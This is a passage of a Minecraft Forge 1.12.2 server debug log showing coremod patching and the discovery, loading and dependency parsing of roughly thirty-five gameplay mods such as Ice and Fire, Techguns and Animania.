me/paulf/wings/server/asm/WingsHooks/onAddFlown(Lnet/minecraft/entity/player/EntityPlayer;DDD)V [14:27:55] [main/DEBUG] [LLibrary Core]: Patching method func_70047_e()F [14:27:55] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onFlightCheck(Lnet/minecraft/entity/player/EntityPlayer;Z)Z [14:27:55] [main/DEBUG] [LLibrary Core]: Patching method func_174820_d(ILnet/minecraft/item/ItemStack;)Z [14:27:55] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onReplaceItemSlotCheck(Lnet/minecraft/item/Item;Lnet/minecraft/item/ItemStack;)Z [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraft/entity/player/EntityPlayer to metadata cache [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraft/util/EnumHand to metadata cache [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraft/util/EnumFacing to metadata cache [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraft/block/state/IBlockState to metadata cache [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraft/item/ItemStack to metadata cache [14:27:56] [main/DEBUG] [FML]: Creating vanilla freeze snapshot [14:27:56] [main/DEBUG] [FML]: Vanilla freeze snapshot created [14:27:57] [Server thread/INFO] [net.minecraft.server.dedicated.DedicatedServer]: Starting minecraft server version 1.12.2 [14:27:57] [Server thread/INFO] [FML]: MinecraftForge v14.23.5.2847 Initialized [14:27:57] [Server thread/INFO] [FML]: Starts to replace vanilla recipe ingredients with ore ingredients. [14:27:58] [Server thread/INFO] [FML]: Invalid recipe found with multiple oredict ingredients in the same ingredient... [14:27:58] [Server thread/INFO] [FML]: Replaced 1227 ore ingredients [14:27:58] [Server thread/DEBUG] [FML]: File /aternos/server/config/injectedDependencies.json not found. No dependencies injected [14:27:58] [Server thread/DEBUG] [FML]: Building injected Mod Containers [net.minecraftforge.fml.common.FMLContainer, net.minecraftforge.common.ForgeModContainer, techguns.core.TechgunsCore] [14:27:58] [Server thread/DEBUG] [FML]: Attempting to load mods contained in the minecraft jar file and associated classes [14:27:58] [Server thread/DEBUG] [FML]: Found a minecraft related file at /aternos/server/forge.jar, examining for mod candidates [14:27:58] [Server thread/TRACE] [FML]: Skipping known library file /aternos/server/./mods/CTM-MC1.12.2-1.0.1.30.jar [14:27:58] [Server thread/TRACE] [FML]: Skipping known library file /aternos/server/./mods/iceandfire-1.8.3.jar [14:27:58] [Server thread/TRACE] [FML]: Skipping known library file /aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar [14:27:58] [Server thread/TRACE] [FML]: Skipping known library file /aternos/server/./mods/SereneSeasons-1.12.2-1.2.18-universal.jar [14:27:58] [Server thread/TRACE] [FML]: Skipping known library file /aternos/server/./mods/techguns-1.12.2-2.0.2.0_pre3.1.jar [14:27:58] [Server thread/TRACE] [FML]: Skipping known library file /aternos/server/./mods/wings-1.1.6-1.12.2.jar [14:27:58] [Server thread/TRACE] [FML]: Skipping known library file /aternos/server/./mods/memory_repo/net/ilexiconn/llibrary-core/1.0.11-1.12.2/llibrary-core-1.0.11-1.12.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Minecraft jar mods loaded successfully [14:27:58] [Server thread/INFO] [FML]: Searching /aternos/server/./mods for mods [14:27:58] [Server thread/DEBUG] [FML]: Adding animania-1.12.2-1.7.3.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding wings-1.1.6-1.12.2.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding SereneSeasons-1.12.2-1.2.18-universal.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding jei_1.12.2-4.15.0.292.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding BackTools-1.12.2-7.0.1.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding DragonMounts2-1.12.2-1.6.3.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding CTM-MC1.12.2-1.0.1.30.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding bookworm-1.12.2-2.3.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding zawa-1.12.2-1.7.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding ExtraGems-1.12.2-(v.1.2.8).jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding iceandfire-1.8.3.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding creature_whisperer_1.0.2.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding ultimate_unicorn_mod-1.12.2-1.5.16.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding Instant Massive Structures Mod 1.12.2.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding landmanager-1.12.2-1.4.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding claimitapi-1.12.2-1.2.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding iChunUtil-1.12.2-7.2.2.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding claimit-1.12.2-1.2.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding techguns-1.12.2-2.0.2.0_pre3.1.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding spartanfire-0.07.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding horse_colors-1.12.2-1.0.2.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding torohealth-1.12.2-11.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding JustEnoughResources-1.12.2-0.9.2.60.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding SpartanWeaponry-1.12.2-beta-1.3.8.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding mowziesmobs-1.5.4.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding SpartanShields-1.12.2-1.5.4.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding malisiscore-1.12.2-6.5.1.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding malisisdoors-1.12.2-7.3.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding llibrary-1.7.19-1.12.2.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding colorchat-1.12.1-2.0.43-universal.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding k4lib-1.12.1-2.1.81-universal.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding TeamUp-1.1.3-1.12.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding betteranimalsplus-1.12.2-8.0.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file animania-1.12.2-1.7.3.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file BackTools-1.12.2-7.0.1.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file betteranimalsplus-1.12.2-8.0.0.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file bookworm-1.12.2-2.3.0.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file colorchat-1.12.1-2.0.43-universal.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file creature_whisperer_1.0.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file CTM-MC1.12.2-1.0.1.30.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file DragonMounts2-1.12.2-1.6.3.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file ExtraGems-1.12.2-(v.1.2.8).jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file horse_colors-1.12.2-1.0.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file iceandfire-1.8.3.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file iChunUtil-1.12.2-7.2.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file Instant Massive Structures Mod 1.12.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file jei_1.12.2-4.15.0.292.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file JustEnoughResources-1.12.2-0.9.2.60.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file k4lib-1.12.1-2.1.81-universal.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file landmanager-1.12.2-1.4.0.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file malisiscore-1.12.2-6.5.1.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file malisisdoors-1.12.2-7.3.0.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file mowziesmobs-1.5.4.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file SereneSeasons-1.12.2-1.2.18-universal.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file spartanfire-0.07.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file SpartanShields-1.12.2-1.5.4.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file SpartanWeaponry-1.12.2-beta-1.3.8.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file TeamUp-1.1.3-1.12.0.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file techguns-1.12.2-2.0.2.0_pre3.1.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file torohealth-1.12.2-11.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file ultimate_unicorn_mod-1.12.2-1.5.16.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file wings-1.1.6-1.12.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file zawa-1.12.2-1.7.0.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file claimitapi-1.12.2-1.2.0.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file claimit-1.12.2-1.2.0.jar [14:27:58] [Server thread/TRACE] [FML]: Skipping already parsed coremod or tweaker llibrary-core-1.0.11-1.12.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file llibrary-1.7.19-1.12.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Examining file forge.jar for potential mods [14:27:58] [Server thread/DEBUG] [FML]: The mod container forge.jar appears to be missing an mcmod.info file [14:27:58] [Server thread/DEBUG] [FML]: Examining file animania-1.12.2-1.7.3.jar for potential mods [14:27:58] [Server thread/TRACE] [FML]: Located mcmod.info file in file animania-1.12.2-1.7.3.jar [14:27:58] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.animania.Animania) - loading [14:27:58] [Server thread/TRACE] [FML]: Parsed dependency info for animania: Requirements: [craftstudioapi, forge@[14.23.5.2779,)] After:[craftstudioapi, cofhcore, harvestcraft, natura, botania, biomesoplenty, twilightforest, aroma1997sdimension, openterraingenerator, forge@[14.23.5.2779,)] Before:[thermalexpansion] [14:27:59] [Server thread/DEBUG] [FML]: Examining file BackTools-1.12.2-7.0.1.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file BackTools-1.12.2-7.0.1.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (me.ichun.mods.backtools.common.BackTools) - loading [14:27:59] [Server thread/INFO] [FML]: Disabling mod backtools it is client side only. [14:27:59] [Server thread/DEBUG] [FML]: Skipping mod me.ichun.mods.backtools.common.BackTools, container opted to not load. [14:27:59] [Server thread/DEBUG] [FML]: Examining file betteranimalsplus-1.12.2-8.0.0.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file betteranimalsplus-1.12.2-8.0.0.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (its_meow.betteranimalsplus.BetterAnimalsPlusMod) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for betteranimalsplus: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file bookworm-1.12.2-2.3.0.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file bookworm-1.12.2-2.3.0.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (net.soggymustache.bookworm.BookwormMain) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for bookworm: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file colorchat-1.12.1-2.0.43-universal.jar for potential mods [14:27:59] [Server thread/DEBUG] [FML]: The mod container colorchat-1.12.1-2.0.43-universal.jar appears to be missing an mcmod.info file [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (k4unl.minecraft.colorchat.ColorChat) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for colorchat: Requirements: [k4lib] After:[k4lib] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.leviathanstudio.craftstudio.CraftStudioApi) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for craftstudioapi: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file creature_whisperer_1.0.2.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file creature_whisperer_1.0.2.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (cw.CWMain) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for cw: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file CTM-MC1.12.2-1.0.1.30.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file CTM-MC1.12.2-1.0.1.30.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (team.chisel.ctm.CTM) - loading [14:27:59] [Server thread/INFO] [FML]: Disabling mod ctm it is client side only. [14:27:59] [Server thread/DEBUG] [FML]: Skipping mod team.chisel.ctm.CTM, container opted to not load. [14:27:59] [Server thread/DEBUG] [FML]: Examining file DragonMounts2-1.12.2-1.6.3.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file DragonMounts2-1.12.2-1.6.3.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.TheRPGAdventurer.ROTD.DragonMounts) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for dragonmounts: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file ExtraGems-1.12.2-(v.1.2.8).jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file ExtraGems-1.12.2-(v.1.2.8).jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (xxrexraptorxx.extragems.main.ExtraGems) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for extragems: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file horse_colors-1.12.2-1.0.2.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file horse_colors-1.12.2-1.0.2.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (felinoid.horse_colors.HorseColors) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for horse_colors: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file iceandfire-1.8.3.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file iceandfire-1.8.3.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.github.alexthe666.iceandfire.IceAndFire) - loading [14:27:59] [Server thread/TRACE] [FML]: Using mcmod dependency info for iceandfire: [llibrary, forge] [llibrary, forge] [] [14:27:59] [Server thread/DEBUG] [FML]: Examining file iChunUtil-1.12.2-7.2.2.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file iChunUtil-1.12.2-7.2.2.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (me.ichun.mods.ichunutil.common.iChunUtil) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for ichunutil: Requirements: [forge@[14.23.5.2781,99999.24.0.0)] After:[forge@[14.23.5.2781,99999.24.0.0)] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file Instant Massive Structures Mod 1.12.2.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file Instant Massive Structures Mod 1.12.2.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (modid.imsm.core.IMSM) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for imsm: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file jei_1.12.2-4.15.0.292.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file jei_1.12.2-4.15.0.292.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (mezz.jei.JustEnoughItems) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for jei: Requirements: [forge@[14.23.5.2816,)] After:[forge@[14.23.5.2816,)] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file JustEnoughResources-1.12.2-0.9.2.60.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file JustEnoughResources-1.12.2-0.9.2.60.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (jeresources.JEResources) - loading [14:27:59] [Server thread/INFO] [FML]: Disabling mod jeresources it is client side only. [14:27:59] [Server thread/DEBUG] [FML]: Skipping mod jeresources.JEResources, container opted to not load. [14:27:59] [Server thread/DEBUG] [FML]: Examining file k4lib-1.12.1-2.1.81-universal.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file k4lib-1.12.1-2.1.81-universal.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (k4unl.minecraft.k4lib.K4Lib) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for k4lib: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file landmanager-1.12.2-1.4.0.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file landmanager-1.12.2-1.4.0.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (brightspark.landmanager.LandManager) - loading [14:27:59] [Server thread/TRACE] [FML]: Using mcmod dependency info for landmanager: [] [] [] [14:27:59] [Server thread/DEBUG] [FML]: Examining file malisiscore-1.12.2-6.5.1.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file malisiscore-1.12.2-6.5.1.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (net.malisis.core.MalisisCore) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for malisiscore: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file malisisdoors-1.12.2-7.3.0.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file malisisdoors-1.12.2-7.3.0.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (net.malisis.doors.MalisisDoors) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for malisisdoors: Requirements: [malisiscore] After:[malisiscore] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file mowziesmobs-1.5.4.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file mowziesmobs-1.5.4.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.bobmowzie.mowziesmobs.MowziesMobs) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for mowziesmobs: Requirements: [llibrary@[1.7.9,)] After:[llibrary@[1.7.9,)] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file SereneSeasons-1.12.2-1.2.18-universal.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file SereneSeasons-1.12.2-1.2.18-universal.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (sereneseasons.core.SereneSeasons) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for sereneseasons: Requirements: [forge@[14.23.5.2768,)] After:[forge@[14.23.5.2768,)] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file spartanfire-0.07.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file spartanfire-0.07.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.chaosbuffalo.spartanfire.SpartanFire) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for spartanfire: Requirements: [iceandfire, spartanweaponry@[beta 1.3.0,), llibrary@[1.7.19,)] After:[iceandfire, spartanweaponry@[beta 1.3.0,), llibrary@[1.7.19,)] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file SpartanShields-1.12.2-1.5.4.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file SpartanShields-1.12.2-1.5.4.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.oblivioussp.spartanshields.ModSpartanShields) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for spartanshields: Requirements: [] After:[redstoneflux, enderio, rftools, botania, redstonearsenal, abyssalcraft, betterwithmods, thaumcraft] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file SpartanWeaponry-1.12.2-beta-1.3.8.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file SpartanWeaponry-1.12.2-beta-1.3.8.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.oblivioussp.spartanweaponry.ModSpartanWeaponry) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for spartanweaponry: Requirements: [] After:[] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file TeamUp-1.1.3-1.12.0.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file TeamUp-1.1.3-1.12.0.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.ewyboy.teamup.TeamUp) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for teamup: Requirements: [] After:[] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file techguns-1.12.2-2.0.2.0_pre3.1.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file techguns-1.12.2-2.0.2.0_pre3.1.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (techguns.Techguns) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for techguns: Requirements: [forge@[14.23.5.2807,)] After:[ftblib, chisel, patchouli] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file torohealth-1.12.2-11.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file torohealth-1.12.2-11.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (net.torocraft.torohealthmod.ToroHealthMod) - loading [14:28:00] [Server thread/INFO] [FML]: Disabling mod torohealthmod it is client side only. [14:28:00] [Server thread/DEBUG] [FML]: Skipping mod net.torocraft.torohealthmod.ToroHealthMod, container opted to not load. [14:28:00] [Server thread/DEBUG] [FML]: Examining file ultimate_unicorn_mod-1.12.2-1.5.16.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file ultimate_unicorn_mod-1.12.2-1.5.16.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.hackshop.ultimate_unicorn.UltimateUnicornMod) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for ultimate_unicorn_mod: Requirements: [] After:[] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Attempting to load the file version.properties from ultimate_unicorn_mod-1.12.2-1.5.16.jar to locate a version number for mod ultimate_unicorn_mod [14:28:00] [Server thread/WARN] [FML]: Mod ultimate_unicorn_mod is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.5.16 [14:28:00] [Server thread/DEBUG] [FML]: Examining file wings-1.1.6-1.12.2.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file wings-1.1.6-1.12.2.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lme/paulf/wings/server/asm/plugin/Integration; (me.paulf.wings.server.integration.MowziesMobsIntegration) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for mowzies_wings: Requirements: [wings] After:[wings, mowziesmobs] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lme/paulf/wings/server/asm/plugin/Integration; (me.paulf.wings.server.integration.WingsBaublesIntegration) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for bauble_wings: Requirements: [wings] After:[wings, baubles@[1.5,1.6)] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lme/paulf/wings/server/asm/plugin/Integration; (me.paulf.wings.server.integration.WingsMoBendsIntegration) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for mobends_wings: Requirements: [wings] After:[wings, mobends@[0.24,0.25)] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (me.paulf.wings.WingsMod) - loading [14:28:00] [Server thread/TRACE] [FML]: Using mcmod dependency info for wings: [forge@[14.23.5.2816,), llibrary@[1.7,1.8)] [forge@[14.23.5.2816,), llibrary@[1.7,1.8), jei@[4.8,5)] [] [14:28:00] [Server thread/DEBUG] [FML]: Attempting to load the file version.properties from wings-1.1.6-1.12.2.jar to locate a version number for mod wings [14:28:00] [Server thread/WARN] [FML]: Mod wings is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.1.6 [14:28:00] [Server thread/DEBUG] [FML]: Examining file zawa-1.12.2-1.7.0.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file zawa-1.12.2-1.7.0.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (org.zawamod.ZAWAMain) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for zawa: Requirements: [bookworm@[1.12.2-2.2.0,)] After:[bookworm@[1.12.2-2.2.0,)] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file claimitapi-1.12.2-1.2.0.jar for potential mods [14:28:00] [Server thread/DEBUG] [FML]: The mod container claimitapi-1.12.2-1.2.0.jar appears to be missing an mcmod.info file [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (its_meow.claimit.api.ClaimItAPI) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for claimitapi: Requirements: [] After:[] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file claimit-1.12.2-1.2.0.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file claimit-1.12.2-1.2.0.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (its_meow.claimit.ClaimIt) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for claimit: Requirements: [claimitapi@[1.12.2-1.2.0,1.12.2-1.2.0]] After:[claimitapi@[1.12.2-1.2.0,1.12.2-1.2.0]] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file llibrary-1.7.19-1.12.2.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file llibrary-1.7.19-1.12.2.jar [14:28:00] [Server 